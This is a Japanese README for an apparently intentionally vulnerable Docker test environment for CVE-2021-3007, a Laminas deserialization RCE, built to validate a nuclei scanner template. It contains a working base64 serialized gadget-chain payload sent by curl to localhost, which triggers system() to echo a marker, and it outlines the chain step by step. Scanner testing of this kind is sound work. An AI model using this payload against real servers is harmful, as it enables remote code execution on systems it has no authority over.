
CVE-2021-3007 脆弱性テスト環境 - Laminas/Zend Framework デシリアライゼーション RCE
セキュリティスキャナでのCVE-2021-3007検出を検証するための、意図的に脆弱性を持たせたテスト環境です。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2021-3007 |
| 深刻度 | Critical (CVSS 9.8) |
| 種別 | 安全でないデシリアライゼーション → RCE |
| 影響を受ける製品 | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502 (信頼されないデータのデシリアライゼーション) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Expected: Response contains "nucleiCVE20213007" confirming RCE
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| パッケージ | バージョン | 用途 |
|---|---|---|
| laminas/laminas-http | 2.14.1 | 脆弱なHTTPコンポーネント |
| laminas/laminas-view | 2.12.0 | ガジェットチェーンコンポーネント |
| laminas/laminas-config | 3.7.0 | ガジェットチェーンコンポーネント |
このアプリケーションは、POST経由でシリアライズされたデータを受け入れます:
/ または /index.phpdata, payload, serialized| コンポーネント | 値 |
|---|---|
| ベースイメージ | php:8.1-apache |
| ポート | 8080 |
| コンテナ | cve-2021-3007-vulnerable |
.
├── Dockerfile # Container build configuration
├── docker-compose.yml # Orchestration (one-shot setup)
├── index.php # Vulnerable PHP application
├── LICENSE # MIT License
└── README.md # This file
警告: この環境は、セキュリティテスト目的のみで意図的に脆弱性を持たせています。
禁止事項:
推奨事項:
MITライセンス - セキュリティ研究および教育目的のみに使用できます。
nuclei テンプレート検証用に作成 | projectdiscovery/nuclei-templates